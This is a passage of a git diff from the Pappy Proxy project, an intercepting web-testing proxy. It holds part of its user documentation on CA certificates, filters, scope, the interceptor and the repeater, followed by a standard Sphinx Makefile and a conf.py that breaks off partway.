-Safari -~~~~~~ - -For Safari (on macs, obviously), you need to add the CA cert to your -system keychain. You can do this by double clicking on the CA cert and -following the prompts. - -Internet Explorer -~~~~~~~~~~~~~~~~~ - -I didn't search too hard for instructions on this (since Pappy doesn't -support windows) and I don't own a Windows machine to try this, so if -you have trouble, I'm not the one to ask. According to Google you can -double-click the cert to install it to the system, or you can do -``Tools -> Content -> Certificates -> Trusted Root Certificates -> Import``. - -Configuration -------------- - -Configuration for each project is done in the ``config.json`` file. The -file is a JSON-formatted dictionary that contains settings for the -proxy. The following fields can be used to configure the proxy: - -+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Key | Value | -+============================+=======================================================================================================================================================================================================================================================================================================================================================================================+ -| ``data_file`` | The file where requests and images will be stored | -+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``debug_dir`` (optional) | Where connection debug info should be stored. If not present, debug info is not saved to a file. | -+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``cert_dir`` | Where the CA cert and the private key for the CA cert are stored | -+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``proxy_listeners`` | A list of dicts which describe which ports the proxy will listen on. Each item is a dict with "port" and "interface" values which determine which port and interface to listen on. For example, if port=8000 and the interface is 127.0.0.1, the proxy will only accept connections from localhost on port 8000. To accept connections from anywhere, set the interface to 0.0.0.0. | -+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ - -The following tokens will also be replaced with values: - -+------------------+------------------------------------------------+ -| Token | Replaced with | -+==================+================================================+ -| ``{PAPPYDIR}`` | The directory where Pappy's files are stored | -+------------------+------------------------------------------------+ - -Generating Pappy's CA Cert --------------------------- - -In order to intercept and modify requests to sites that use HTTPS, you -have to generate and install CA certs to your browser. You can do this -by running the ``gencerts`` command in Pappy. By default, certs are -stored in the same directory as Pappy's script files. However, you can -change where Pappy will look for the private key file in the config -file. In addition, you can give the ``gencerts`` command an argument to -have it put the generated certs in a different directory. - -+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Command | Description | -+========================================+================================================================================================================================================================+ -| ``gencerts [/path/to/put/certs/in]`` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. | -+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+ - -Browsing Recorded Requests/Responses ------------------------------------- - -The following commands can be used to view requests and responses - -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Command | Aliases | Description | -+====================+================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+ -| ``ls [a|``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``viq [u]`` | view\_request\_info, viq | View additional information about a request. Includes the target port, if SSL was used, and other information. If 'u' is given as an additional argument, it will print information on the unmangled version of the request. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vfq [u]`` | view\_full\_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the request. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vhq [u]`` | view\_request\_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. If 'u' is given as an additional argument, it will print the unmangled version of the request. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vfs [u]`` | view\_full\_response, vfs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the response. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``vhs [u]`` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. If 'u' is given as an additional argument, it will print the unmangled version of the response. | -+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ - -The table shown will have the following columns: - -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Label | Description | -+===========+========================================================================================================================================================================================================================+ -| ID | The request ID of that request. Used to identify the request for other commands. | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Method | The method(/http verb) for the request | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Host | The host that the request was sent to | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Path | The path of the request | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| S-Code | The status code of the response | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Req Len | The length of the data submitted | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Rsp Len | The length of the data returned in the response | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Time | The time in seconds it took to complete the request | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Mngl | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'. | -+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ - -Context -------- - -The context is a set of filters that define which requests are -considered "active". Only requests in the current context are displayed -with ``ls``, and eventually contexts will be how Pappy will manage -requests for group operations. By default, the context includes every -single request that passes through the proxy. You can limit down the -current context by applying filters. Filters apply rules such as "the -response code must equal 500" or "the host must contain google.com". -Once you apply one or more filters, only requests/responses which pass -every active filter will be a part of the current context. - -+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ -| Command | Aliases | Description | -+=========================+=====================+================================================================================================================================================+ -| ``f `` | filter, fl, f | Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string | -+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``fc`` | filter\_clear, fc | Clears the filters and resets the context to contain all requests and responses. Ignores scope | -+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``fls`` | filter\_list, fls | Print the filters that make up the current context | -+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+ - -Filter Strings --------------- - -Filter strings define a condition that a request/response pair must pass -to be part of a context. Most filter strings have the following format: - -:: - - - -Where ```` is some part of the request/response, ```` -is some comparison to ````. Also **if you prefix a comparer with -'n' it turns it into a negation.** For example, if you wanted a filter -that only matches requests to target.org, you could use the following -filter string: - -:: - - host is target.org - - field = "host" - comparer = "is" - value = "target.org" - -For fields that are a list of key/value pairs (headers, get params, post -params, and cookies) you can use the following format: - -:: - - [ ] - -This is a little more complicated. If you don't give comparer2/value2, -the filter will pass any pair where the key or the value matches -comparer1 and value1. If you do give comparer2/value2, the key must -match comparer1/value1 and the value must match comparer2/value2 For -example: - -:: - - Filter A: - cookie contains Session - - Filter B: - cookie contains Session contains 456 - - Filter C: - cookie ncontains Ultra - - Cookie: SuperSession=abc123 - Matches A and C but not B - - Cookie: UltraSession=abc123456 - Matches both A and B but not C - -List of fields -~~~~~~~~~~~~~~ - -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| Field Name | Aliases | Description | Format | -+==============+================================+==================================================================================+=============+ -| all | all | The entire request represented as one string | String | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| host | host, domain, hs, dm | The target host (ie www.target.com) | String | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| path | path, pt | The path of the url (ie /path/to/secrets.php) | String | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| body | body, data, bd, dt | The body (data section) of either the request or the response | String | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| verb | verb, vb | The HTTP verb of the request (ie GET, POST) | String | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| param | param, pm | Either the get or post parameters | Key/Value | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| header | header, hd | An HTTP header (ie User-Agent, Basic-Authorization) in the request or response | Key/Value | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| rawheaders | rawheaders, rh | The entire header section (as one string) of either the head or the response | String | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| sentcookie | sentcookie, sck | A cookie sent in a request | Key/Value | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| setcookie | setcookie, stck | A cookie set by a response | Key/Value | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ -| statuscode | statuscode, sc, responsecode | The response code of the response | Numeric | -+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+ - -List of comparers -~~~~~~~~~~~~~~~~~ - -+--------------+------------------+-----------------------------------------------------------------+ -| Field Name | Aliases | Description | -+==============+==================+=================================================================+ -| is | is | Exact string match | -+--------------+------------------+-----------------------------------------------------------------+ -| contains | contains, ct | A contain B is true if B is a substring of A | -+--------------+------------------+-----------------------------------------------------------------+ -| containsr | containsr, ctr | A containr B is true if A matches regexp B (NOT IMPLEMENTED) | -+--------------+------------------+-----------------------------------------------------------------+ -| exists | exists, ex | A exists B if A is not an empty string (likely buggy) | -+--------------+------------------+-----------------------------------------------------------------+ -| Leq | Leq | A Leq B if A's length equals B (B must be a number) | -+--------------+------------------+-----------------------------------------------------------------+ -| Lgt | Lgt | A Lgt B if A's length is greater than B (B must be a number ) | -+--------------+------------------+-----------------------------------------------------------------+ -| Llt | Llt | A Llt B if A's length is less than B (B must be a number) | -+--------------+------------------+-----------------------------------------------------------------+ -| eq | eq | A eq B if A = B (A and B must be a number) | -+--------------+------------------+-----------------------------------------------------------------+ -| gt | gt | A gt B if A > B (A and B must be a number) | -+--------------+------------------+-----------------------------------------------------------------+ -| lt | lt | A lt B if A < B (A and B must be a number) | -+--------------+------------------+-----------------------------------------------------------------+ - -Scope ------ - -Scope is a set of rules to define whether Pappy should mess with a -request. You define the scope by setting the context to what you want -the scope to be and running ``scope_save``. The scope is saved in -data.db and is automatically restored when using the same project -directory. - -Any requests which don't match all the filters in the scope will be -passed straight to the browser and will not be caught by the interceptor -or recorded in the database. This is useful to make sure you don't -accidentally do something like log in to your email through the proxy -and have your plaintext username/password stored and accidentally shown -to your coworkers. - -+--------------------+--------------------+------------------------------------------------------+ -| Command | Aliases | Description | -+====================+====================+======================================================+ -| ``scope_save`` | scope\_save | Set the current context to be the scope | -+--------------------+--------------------+------------------------------------------------------+ -| ``sr`` | scope\_reset, sr | Set the current context to the scope | -+--------------------+--------------------+------------------------------------------------------+ -| ``scope_delete`` | scope\_delete | Clear the scope (everything's in scope!) | -+--------------------+--------------------+------------------------------------------------------+ -| ``scope_list`` | scope\_list, sls | List all the filters that are applied to the scope | -+--------------------+--------------------+------------------------------------------------------+ - -Interceptor ------------ - -This feature is like Burp's proxy with "Intercept Mode" turned on, -except it's not turned on unless you explicitly turn it on. When the -proxy gets a request while in intercept mode, it lets you edit it before -it forwards it to the server. In addition, it can stop responses from -the server and let you edit them before they get forwarded to the -browser. When you run the command, you can pass ``request`` and/or -``response`` as arguments to say whether you would like to intercept -requests and/or responses. Only in-scope requests/responses will be -intercepted (see Scope section). - -The interceptor will use your EDITOR variable to decide which editor to -edit the request/response with. If no editor variable is set, it will -default to ``vi``. - -To forward a request, edit it, save the file, then quit. - -+---------------------------------------------------------+-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Command | Aliases | Description | -+=========================================================+=================+=================================================================================================================================================================================================================+ -| ``ic +`` | intercept, ic | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in ``request`` to intercept requests, ``response`` to intercept responses, or both to intercept both. | -+---------------------------------------------------------+-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ - -:: - - Intercept both requests and responses: - > ic requests responses - > ic req rsp - - Intercept just requests: - > ic requests - > ic req - - Intercept just responses: - > ic responses - > ic rsp - - Be totally useless: - > ic - -Repeater --------- - -This feature is like Burp's repeater (yes, really). You choose a request -and Pappy will open vim in a split window with your request on the left -and the original response on the right. You can make changes to the -request and then run ":RepeaterSubmitBuffer" to submit the modified -request. The response will be displayed on the right. This command is -bound to ``f`` by default, but you can rebind it in your vimrc -(I think, dunno if vim will complain if it's undefined). This command -will submit whatever buffer your cursor is in, so make sure it's in the -request buffer. - -To drop a request, delete everything, save and quit (``ggdG:wq``). - -When you're done with repeater, run ":qa!" to avoid having to save -changes to nonexistent files. - -+---------------+----------------+----------------------------------------------+ -| Command | Aliases | Description | -+===============+================+==============================================+ -| ``rp `` | repeater, rp | Open the specified request in the repeater | -+---------------+----------------+----------------------------------------------+ - -+----------------------------+--------------+----------------------------------------------------------------------------------------------------+ -| Vim Command | Keybinding | Action | -+============================+==============+====================================================================================================+ -| ``RepeaterSubmitBuffer`` | f | Submit the current buffer, split the windows vertically, and show the result in the right window | -+----------------------------+--------------+----------------------------------------------------------------------------------------------------+ - -Logging -------- - -You can watch in real-time what requests are going through the proxy. -Verbosisty defaults to 1 which just states when connections are -made/lost and some information on what is happening. If verbosity is set -to 3, it includes all the data which is sent through the proxy and -processed. It will print the raw response from the server, what it -decodes it to, etc. Even if you don't run this command, all the -information is stored in the dubug directory (the directory is cleared -every start though!) - -+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Command | Description | -+=======================+===============================================================================================================================================================================================================================+ -| ``log [verbosity]`` | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy | -+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ diff --git a/docs/Makefile b/docs/Makefile new file mode 100644 index 0000000..d914786 --- /dev/null +++ b/docs/Makefile @@ -0,0 +1,196 @@ +# Makefile for Sphinx documentation +# + +# You can set these variables from the command line. +SPHINXOPTS = +SPHINXBUILD = sphinx-build +PAPER = +BUILDDIR = build +SOURCEDIR = "$(shell pwd)/source" + +# User-friendly check for sphinx-build +ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1) +$(error "The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/") +endif + +# Internal variables. +PAPEROPT_a4 = -D latex_paper_size=a4 +PAPEROPT_letter = -D latex_paper_size=letter +ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source +# the i18n builder cannot share the environment and doctrees with the others +I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source + +.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest coverage gettext + +help: + @echo "Please use \`make ' where is one of" + @echo " html to make standalone HTML files" + @echo " dirhtml to make HTML files named index.html in directories" + @echo " singlehtml to make a single large HTML file" + @echo " pickle to make pickle files" + @echo " json to make JSON files" + @echo " htmlhelp to make HTML files and a HTML help project" + @echo " qthelp to make HTML files and a qthelp project" + @echo " applehelp to make an Apple Help Book" + @echo " devhelp to make HTML files and a Devhelp project" + @echo " epub to make an epub" + @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" + @echo " latexpdf to make LaTeX files and run them through pdflatex" + @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" + @echo " text to make text files" + @echo " man to make manual pages" + @echo " texinfo to make Texinfo files" + @echo " info to make Texinfo files and run them through makeinfo" + @echo " gettext to make PO message catalogs" + @echo " changes to make an overview of all changed/added/deprecated items" + @echo " xml to make Docutils-native XML files" + @echo " pseudoxml to make pseudoxml-XML files for display purposes" + @echo " linkcheck to check all external links for integrity" + @echo " doctest to run all doctests embedded in the documentation (if enabled)" + @echo " coverage to run coverage check of the documentation (if enabled)" + +clean: + rm -rf $(BUILDDIR)/* + +html: + $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html + @echo + @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." + +dirhtml: + $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml + @echo + @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." + +singlehtml: + $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml + @echo + @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." + +pickle: + $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle + @echo + @echo "Build finished; now you can process the pickle files." + +json: + $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json + @echo + @echo "Build finished; now you can process the JSON files." + +htmlhelp: + $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp + @echo + @echo "Build finished; now you can run HTML Help Workshop with the" \ + ".hhp project file in $(BUILDDIR)/htmlhelp." + +qthelp: + $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp + @echo + @echo "Build finished; now you can run "qcollectiongenerator" with the" \ + ".qhcp project file in $(BUILDDIR)/qthelp, like this:" + @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/PappyProxy.qhcp" + @echo "To view the help file:" + @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/PappyProxy.qhc" + +applehelp: + $(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp + @echo + @echo "Build finished. The help book is in $(BUILDDIR)/applehelp." + @echo "N.B. You won't be able to view it unless you put it in" \ + "~/Library/Documentation/Help or install it in your application" \ + "bundle." + +devhelp: + $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp + @echo + @echo "Build finished." + @echo "To view the help file:" + @echo "# mkdir -p $$HOME/.local/share/devhelp/PappyProxy" + @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/PappyProxy" + @echo "# devhelp" + +epub: + $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub + @echo + @echo "Build finished. The epub file is in $(BUILDDIR)/epub." + +latex: + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex + @echo + @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." + @echo "Run \`make' in that directory to run these through (pdf)latex" \ + "(use \`make latexpdf' here to do that automatically)." + +latexpdf: + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex + @echo "Running LaTeX files through pdflatex..." + $(MAKE) -C $(BUILDDIR)/latex all-pdf + @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." + +latexpdfja: + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex + @echo "Running LaTeX files through platex and dvipdfmx..." + $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja + @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." + +text: + $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text + @echo + @echo "Build finished. The text files are in $(BUILDDIR)/text." + +man: + $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man + @echo + @echo "Build finished. The manual pages are in $(BUILDDIR)/man." + +texinfo: + $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo + @echo + @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." + @echo "Run \`make' in that directory to run these through makeinfo" \ + "(use \`make info' here to do that automatically)." + +info: + $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo + @echo "Running Texinfo files through makeinfo..." + make -C $(BUILDDIR)/texinfo info + @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." + +gettext: + $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale + @echo + @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." + +changes: + $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes + @echo + @echo "The overview file is in $(BUILDDIR)/changes." + +linkcheck: + $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck + @echo + @echo "Link check complete; look for any errors in the above output " \ + "or in $(BUILDDIR)/linkcheck/output.txt." + +doctest: + $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest + @echo "Testing of doctests in the sources finished, look at the " \ + "results in $(BUILDDIR)/doctest/output.txt." + +coverage: + $(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage + @echo "Testing of coverage in the sources finished, look at the " \ + "results in $(BUILDDIR)/coverage/python.txt." + +xml: + $(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml + @echo + @echo "Build finished. The XML files are in $(BUILDDIR)/xml." + +pseudoxml: + $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml + @echo + @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." + +rst: + sphinx-apidoc -f -o ./source ../pappyproxy diff --git a/docs/source/conf.py b/docs/source/conf.py new file mode 100644 index 0000000..64a1dbf --- /dev/null +++ b/docs/source/conf.py @@ -0,0 +1,319 @@ +# -*- coding: utf-8 -*- +# +# Pappy Proxy documentation build configuration file, created by +# sphinx-quickstart on Sat Dec 12 11:17:09 2015. +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +import sys +import os +import shlex + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +sys.path.insert(0, os.path.join(os.path.abspath('..'), 'pappyproxy')) + +# -- General configuration ------------------------------------------------ + +# If your documentation needs a minimal Sphinx version, state it here. +#needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be +# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom +# ones. +extensions = [ + 'sphinx.ext.autodoc', + 'sphinx.ext.intersphinx', + 'sphinx.ext.ifconfig', +] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix(es) of source filenames. +# You can specify multiple suffix as a list of string: +# source_suffix = ['.rst', '.md'] +source_suffix = '.rst' + +# The encoding of source files. +#source_encoding = 'utf-8-sig' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'Pappy Proxy' +copyright = u'2015, Rob Glew' +author = u'Rob Glew' + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# The short X.Y version. +version = u'0.0.1' +# The full version, including alpha/beta/rc tags. +release = u'0.0.1' + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +# +# This is also used if you do content translation via gettext catalogs. +# Usually you set "language" from the command line for these cases. +language = None + +# There are two options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +#today_fmt = '%B %d, %Y' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['pappyproxy.test**', + 'pappyproxy.lists.rst', + 'pappyproxy.templates.rst', + 'pappyproxy.schema.rst', + 'pappyproxy.vim_repeater.rst', + 'pappyproxy.certs**', + 'pappyproxy.comm**', + # '**config**', + # '**console**', + # '**macros**', + # '**mangle**', + # '**repeater**', + # '**session**', + # '**util**', +] + +# The reST default role (used for this markup: `text`) to use for all +# documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# A list of ignored prefixes for module index sorting. +#modindex_common_prefix = [] + +# If true, keep warnings as "system message" paragraphs in the built documents. +#keep_warnings = False + +# If true, `todo` and `todoList` produce output, else they produce nothing. +todo_include_todos = False + + +# -- Options for HTML output ---------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +html_theme = 'classic' + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +#html_theme_options = {} + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# The name for this set of Sphinx documents. If None, it defaults to +# " v documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# Add any extra paths that contain custom files (such as robots.txt or +# .htaccess) here, relative to this directory. These files are copied +# directly to the root of the documentation. +#html_extra_path = [] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +#html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Language to be used for generating the HTML full-text search index. +# Sphinx supports the following languages: +# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja' +# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr' +#html_search_language = 'en' + +# A dictionary with options for the search language support, empty by default. +# Now only 'ja' uses this config value +#html_search_options = {'type': 'default'} + +# The name of a javascript file (relative to the configuration directory) that +# implements a search results scorer. If empty, the default will be used. +#html_search_scorer = 'scorer.js' + +# Output file base name for HTML help builder. +htmlhelp_basename = 'PappyProxydoc' + +# -- Options for LaTeX output --------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', + +# Latex figure (float) alignment +#'figure_align': 'htbp', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, +# author, documentclass [howto, manual, or own class]). +latex_documents = [ + (master_doc, 'PappyProxy.tex', u'Pappy Proxy Documentation', + u'Rob Glew', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output --------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + (master_doc, 'pappyproxy', u'Pappy Proxy Documentation', + [author], 1) +] + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ------------------------------------------- + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + 